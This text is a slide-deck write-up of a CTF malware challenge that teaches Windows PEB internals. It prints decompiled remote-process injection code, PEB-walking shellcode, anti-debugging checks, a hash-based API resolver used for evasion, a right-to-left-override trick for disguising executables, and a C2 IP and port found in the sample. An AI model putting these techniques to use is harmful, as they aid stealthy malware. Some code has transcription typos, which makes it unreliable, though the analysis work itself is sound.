



INTRO TO PEB FOR MALWARE DEV/ANALYSIS

LUCA 'FELD' PALUMBO



CTFZone

CHALLENGE: C2MMUNICATION

FLAG: <IP:PORT>

```
> unzip c2mmunication.zip  
Archive: c2mmunication.zip  
[c2mmunication.zip] prog.exe_ password:  
      inflating: prog.exe_  
> ls  
c2mmunication.zip  prog.exe_  
>
```

Well, no doubts now

MAIN FUNCTION

- Decompiled with IDA
- Copies bytes from buffer in rodata to local buffer (via SIMD instructions)
- Then inject code to a target process

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    _BYTE *v4; // r8
    _WORD *v5; // rax
    __int64 v6; // rcx
    __int128 v7; // xmm0
    __int128 v8; // xmm1
    __int128 v9; // xmm0
    __int128 v10; // xmm1
    __int128 v11; // xmm0
    __int128 v12; // xmm1
    __int128 v13; // xmm0
    __int128 v14; // xmm1
    __int64 v15; // rcx
    __int128 v16; // xmm1
    int v17; // eax
    DWORD v18; // eax
    HANDLE p; // rdi
    void *pointer; // rbx
    _BYTE Buffer[560]; // [rsp+40h] [rbp-248h] BYREF

    v4 = Buffer;
    v5 = &shellcode;
    v6 = 4;
    do
    {
        v4 += 128;
        v7 = *v5;
        v8 = v5[1];
        v5 += 8;
        *((_WORD *)v4 - 8) = v7;
        v9 = *(v5 - 6);
        *((_WORD *)v4 - 7) = v8;
        v10 = *(v5 - 5);
        *((_WORD *)v4 - 6) = v9;
        v11 = *(v5 - 4);
        *((_WORD *)v4 - 5) = v10;
        v12 = *(v5 - 3);
        *((_WORD *)v4 - 4) = v11;
        v13 = *(v5 - 2);
        *((_WORD *)v4 - 3) = v12;
        v14 = *(v5 - 1);
        *((_WORD *)v4 - 2) = v13;
        *((_WORD *)v4 - 1) = v14;
        --v6;
    }
    while ( v6 );
    v15 = *((_QWORD *)v5 + 4);
    v16 = v5[1];
    *((_WORD *)v4 = *v5;
    *((_WORD *)v4 + 1) = v16;
    *((_QWORD *)v4 + 4) = v15;
    v17 = unknown_libname_27(argv[1]);
    sub_140001010("Injecting to PID: %i", v17);
    v18 = unknown_libname_27(argv[1]);
    p = OpenProcess(0x1FFFFFu, 0, v18);
    pointer = VirtualAllocEx(p, 0, 0x228u, 0x3000u, 0x40u);
    WriteProcessMemory(p, pointer, Buffer, 0x228u, 0);
    CreateRemoteThread(p, 0, 0, (LPTHREAD_START_ROUTINE)pointer, 0, 0, 0);
    CloseHandle(p);
    return 0;
}
```

PROCESS CODE INJECTION

- Common pattern:
- Open process
- Allocate new memory to the process
- Write shellcode to remote process
- Create thread on remote process

```
v17 = unknown_cname_27(argv[1]);
sub_140001010("Injecting to PID: %i", v17);
v18 = unknown_libname_27(argv[1]);
p = OpenProcess(0x1FFFFFFu, 0, v18);
pointer = VirtualAllocEx(p, 0, 0x228u, 0x3000u, 0x40u);
WriteProcessMemory(p, pointer, Buffer, 0x228u, 0);
CreateRemoteThread(p, 0, 0, (LPTHREAD_START_ROUTINE)pointer, 0, 0, 0);
CloseHandle(p);
return 0;
}
```

DUMP SHELLCODE

- Xor itself against a hardcoded value
- I wrote a script to unravel the real shellcode

```
.rdata:000000014001E451 ; __int64 shellcode_start()
.rdata:000000014001E451 shellcode_start proc far
.rdata:000000014001E451 xor    ecx, ecx
.rdata:000000014001E453 sub    rcx, 0xFFFFFFFFFFFFFFC0h
.rdata:000000014001E45A lea    rax, shellcode
.rdata:000000014001E461 mov    rbx, 0E64DDC02B7BACB6Fh
.rdata:000000014001E46B
.rdata:000000014001E46B loc_14001E46B: xor    [rax+27h], rbx
.rdata:000000014001E46B sub    rax, 0xFFFFFFFFFFFFFF8h
.rdata:000000014001E46F loop   loc_14001E46B
.rdata:000000014001E475
.rdata:000000014001E477
.rdata:000000014001E478
.rdata:000000014001E47B
.rdata:000000014001E47E
.rdata:000000014001E480
.rdata:000000014001E480 shellcode_start endp
.rdata:000000014001E480
.rdata:000000014001E480 ;
.rdata:000000014001E481 db    0FBh
.rdata:000000014001E482 db    0E6h
.rdata:000000014001E483 db    43h ; C
.rdata:000000014001E484 db    8Ch
.rdata:000000014001E485 db    1Fh
.rdata:000000014001E486 db    0B7h
.rdata:000000014001E487 db    39h ; 9
[...]
```

LAZY TOWN



```
=====
; ====== S U B R O U T I N E ======
=====
; Attributes: fuzzy-sp
; void sub_0()
sub_0 proc near
var_38 = qword ptr -38h
cld
and rsp, 0FFFFFFFFFFFFF0h
call sub_D6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, gs:[rdx+60h]
mov rdx, [rdx+18h]
mov rdx, [rdx+20h]
mov rdx, [rdx+21h]
loc_21: ; CODE XREF: sub_0+D1+j
movzx rcx, word ptr [rdx+4Ah]
mov rsi, [rdx+50h]
xor r9, r9
xor rax, rax ; CODE XREF: sub_0+3E+j
lodsb
cmp al, 61h ; 'a'
jl short loc_37
sub al, 20h ; ' '
loc_37: ; CODE XREF: sub_0+33+j
ror r9d, 00h
[...]
```

```
seg000:0000000000000000
00;
seg000:0000000000000000
00;+
-----+
seg000:0000000000000000
PASTED was
generally The
```

L Dimmi a che IP si collega questo shellcode.
E' per una challenge

Risposta: Lo shellcode si collega all'IP **18.19.91.81** sulla porta **47873**



But what did the shellcode do?

We will come back to the challenge later

PEB: PROCESS ENVIRONMENT BLOCK

- Process's user-mode representation
- Many of its entries are reserved and undocumented
- Interesting af: BeingDebugged entry

```
● ● ●  
typedef struct _PEB {  
    BYTE             Reserved1[2];  
    BYTE             BeingDebugged;  
    BYTE             Reserved2[1];  
    BYTE             Reserved3[2];  
    PPEB_LDR_DATA   Ldr;  
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;  
    PVOID            Reserved4[3];  
    PVOID            AtlThunkSListPtr;  
    PVOID            Reserved5;  
    ULONG            Reserved6;  
    PVOID            Reserved7;  
    ULONG            Reserved8;  
    ULONG            AtlThunkSListPtr32;  
    PVOID            Reserved9[45];  
    BYTE             Reserved10[96];  
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  
    BYTE             Reserved11[128];  
    PVOID            Reserved12[1];  
    ULONG            SessionId;  
} PEB, *PPEB;
```

TEB: THREAD ENVIRONMENT BLOCK

- Stores information about the currently running thread
- It matters cause it has a pointer to PEB

```
typedef struct _TEB {  
    PVOID Reserved1[12];  
    PPEB ProcessEnvironmentBlock;  
    PVOID Reserved2[399];  
    BYTE Reserved3[1952];  
    PVOID TlsSlots[64];  
    BYTE Reserved4[8];  
    PVOID Reserved5[26];  
    PVOID ReservedForOle;  
    PVOID Reserved6[4];  
    PVOID TlsExpansionSlots;  
} TEB, *PTEB;
```

HOW TO ACCESS TEB/PEB

- TEB address is always stored into gs register (or fs for 32 bit system)
- You can use intrinsics or directly __asm{ mov eax, fs:[0x30]}
-

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    printf("PEB Address: %p\n", NtCurrentPeb());
    return 0;
}

#ifndef _WIN64
#include <intrin.h>
#pragma intrinsic(__readgsqword)
#endif

int main() {
#ifndef _WIN64
    // x64: leggi direttamente gs:[0x60]
    PVOID peb = (PVOID)__readgsqword(0x60);
#else
    // x86: leggi direttamente fs:[0x30]
    PVOID peb = (PVOID)__readfsdword(0x30);
#endif

    printf("PEB Address: %p\n", peb);
    PPEB pPEB = (PPEB)peb;
    return 0;
}
```

```
// method 1  
printf("1. BeingDebugged: %d\n", pPEB→BeingDebugged);  
// should be 0
```


```
//method 2  
DWORD ntGlobalFlag = *(PDWORD)((PBYTE)pPEB + 0xBC);  
printf("2. NtGlobalFlag: 0x%08X\n", ntGlobalFlag);  
// should be 0  
if (ntGlobalFlag & 0x10) printf(" - FLG_HEAP_ENABLE_TAIL_CHECK\n");  
if (ntGlobalFlag & 0x20) printf(" - FLG_HEAP_ENABLE_FREE_CHECK\n");  
if (ntGlobalFlag & 0x40) printf(" - FLG_HEAP_VALIDATE_PARAMETERS\n");
```

```
//method 3  
processHeap = *(PVOID*)((PBYTE)pPEB + 0x30);  
heapFlags = *(PDWORD)((PBYTE)processHeap + 0x70);  
heapForceFlags = *(PDWORD)((PBYTE)processHeap + 0x74);  
printf("3. Heap Flags: 0x%08X ForceFlags: 0x%08X\n", heapFlags, heapForce);  
// - Flags should be 0x2 (HEAP_GROWABLE)  
// - ForceFlags should be 0x0
```

ANTI-DEBUGGER



UNDOCUMENTED FIELDS
... ?



**Take a look into the depths of
Windows kernels and
reveal more than 60000
undocumented structures**

«The descent into Hell is easy... »


Explore kernels!



Why "Vergilius"?

Who can be a better guide in a dangerous and exciting trip to the depth of Microsoft Windows kernel than Vergilius, a man who literally went to Hell with Dante? We can't offer you a company of ancient Roman poet but this website with highlighted C/C++ syntax will be helpful.

PEB WALKING



PEB WALKING

- Technique used for resolve API function without using IAT
- Exploit the fact that the PEB contains the list (and base addresses) of the DLL loaded
- Obfuscation: make it not obvious which windows API functions are used
- Extremely common in malware

PEB WALKING


```
●●●  
//0x7c8 bytes (sizeof)  
struct _PEB  
{  
    UCHAR InheritedAddressSpace; //0x0  
    UCHAR ReadImageFileExecOptions; //0x1  
    UCHAR BeingDebugged; //0x2  
    union  
    {  
        UCHAR BitField;  
        struct  
        {  
            UCHAR ImageUsesLargePages:1; //0x3  
            UCHAR IsProtectedProcess:1; //0x3  
            UCHAR IsImageDynamicallyRelocated:1; //0x3  
            UCHAR SkipPatchUser32Forwarders:1; //0x3  
            UCHAR IsPackagedProcess:1; //0x3  
            UCHAR IsAppContainer:1; //0x3  
            UCHAR IsProtectedProcessLight:1; //0x3  
            UCHAR IsLongPathAwareProcess:1; //0x3  
        };  
    };  
    UCHAR Padding0[4]; //0x4  
    VOID* Mutant; //0x8  
    VOID* ImageBaseAddress; //0x10  
    struct _PEB_LDR_DATA* Ldr; //0x18
```

```
●●●  
//0x58 bytes (sizeof)  
struct _PEB_LDR_DATA  
{  
    ULONG Length; //0x0  
    UCHAR Initialized; //0x4  
    VOID* SsHandle; //0x8  
    struct _LIST_ENTRY InLoadOrderModuleList; //0x10  
    struct _LIST_ENTRY InMemoryOrderModuleList; //0x20  
    struct _LIST_ENTRY InInitializationOrderModuleList; //0x30  
    VOID* EntryInProgress; //0x40  
    UCHAR ShutdownInProgress; //0x48  
    VOID* ShutdownThreadId; //0x50
```

```
●●●  
//0x120 bytes (sizeof)  
struct _LDR_DATA_TABLE_ENTRY  
{  
    struct _LIST_ENTRY InLoadOrderLinks; //0x0  
    struct _LIST_ENTRY InMemoryOrderLinks; //0x10  
    struct _LIST_ENTRY InInitializationOrderLinks; //0x20  
    VOID* DllBase; //0x30  
    VOID* EntryPoint; //0x38  
    ULONG SizeOfImage; //0x40  
    struct _UNICODE_STRING FullDllName; //0x48  
    struct _UNICODE_STRING BaseDllName; //0x58  
    [...]
```

USAGE EXAMPLE

```
// kernel32baseAddr obtained via peb  
ptrGetProcAddress = (GETPROCADDRESS)GetProcAddressKernel32(kernel32baseAddr, "GetProcAddress");  
ptrLoadLibraryA = (LOADLIBRARYA)GetProcAddressKernel32(kernel32baseAddr, "LoadLibraryA");  
HMODULE user32Base = ptrLoadLibraryA("user32.dll");  
ptrMessageBoxA = (MESSAGEBOXA)ptrGetProcAddress(user32Base, "MessageBoxA");  
ptrMessageBoxA(NULL, "PEB walk success", "Success", MB_OK);
```



BACK TO THE CHALLENGE

- Defines a subroutine that:
 - Take a as parameter the the hash of a API function name
 - By PEB walking iterates over every module and every functions exported, then compute the hash until a match is found.
 - Returns a pointer to the function

```
PVOID resolve_api_by_hash(DWORD target_hash) {
    // Access PEB and get first loaded module
    PPEB peb = (PPEB)_readsgword(0x60);
    PLDR_DATA_TABLE_ENTRY module = (PLDR_DATA_TABLE_ENTRY)
        peb->LoaderData->InMemoryOrderModuleList.Flink;

    // Iterate through all loaded modules
    while (module) {
        // Calculate DLL name hash
        DWORD dll_hash = 0;
        PWCHAR dll_name = module->BaseDllName.Buffer;
        USHORT name_len = module->BaseDllName.MaximumLength / 2;

        for (USHORT i = 0; i < name_len; i++) {
            WCHAR c = dll_name[i];
            if (c >= 'a' && c <= 'z') c -= 0x20; // Convert to uppercase
            dll_hash = _rotl(dll_hash, 13) + c;
        }

        // Access export table
        PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)module->DllBase;
        PIMAGE_NT_HEADERS64 nt_headers = (PIMAGE_NT_HEADERS64)
            ((PBYTE)module->DllBase + dos_header->e_lfanew);

        if (nt_headers->OptionalHeader.Magic != 0x020B) continue;

        PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)
            ((PBYTE)module->DllBase +
             nt_headers->OptionalHeader.DataDirectory[0].VirtualAddress);

        if (!export_dir) continue;

        // Iterate through exported functions
        PDWORD name_rva = (PDWORD)((PBYTE)module->DllBase + export_dir->AddressOfNames);
        PWORD ordinals = (PWORD)((PBYTE)module->DllBase + export_dir->AddressOfNameOrdinals);
        PDWORD func_rva = (PDWORD)((PBYTE)module->DllBase + export_dir->AddressOfFunctions);

        for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
            // Calculate function name hash
            DWORD func_hash = 0;
            PCHAR func_name = (PCHAR)((PBYTE)module->DllBase + name_rva[i]);

            while (*func_name) {
                func_hash = _rotl(func_hash, 13) + *func_name++;
            }

            // Check combined hash
            if ((dll_hash + func_hash) == target_hash) {
                WORD ordinal = ordinals[i];
                return (PVOID)((PBYTE)module->DllBase + func_rva[ordinal]);
            }
        }

        // Move to next module
        module = (PLDR_DATA_TABLE_ENTRY)module->InMemoryOrderLinks.Flink;
    }


    return NULL; // Function not found
}
```

CONCLUSION

- We have seen:
 - Process Code Injection
 - PEB structure
 - How to use it for antidebugging
 - How to use it for dynamic api resolving of function

BONUS WINDOWS QUIRK

- The Right-To-Left Override character can be used to force a right-to-left direction within a text.
- You can also change icon of PE files
- ann[U+202E]fdp.exe



Nome	Ultima modifica	Tipo	Dimensione
annexe.pdf	09/11/2025 21:16	Applicazione	77 KB

BIBLIOGRAPHY AND USEFUL RESOURCES

- <https://metehan-bulut.medium.com/understanding-the-process-environment-block-peb-for-malware-analysis-26315453793f> for introduction to PEB
- <https://fareedfauzi.github.io/2024/07/13/PEB-Walk.html> for PEB walking
- <https://www.youtube.com/@zodiacon> for windows internals (trainsec)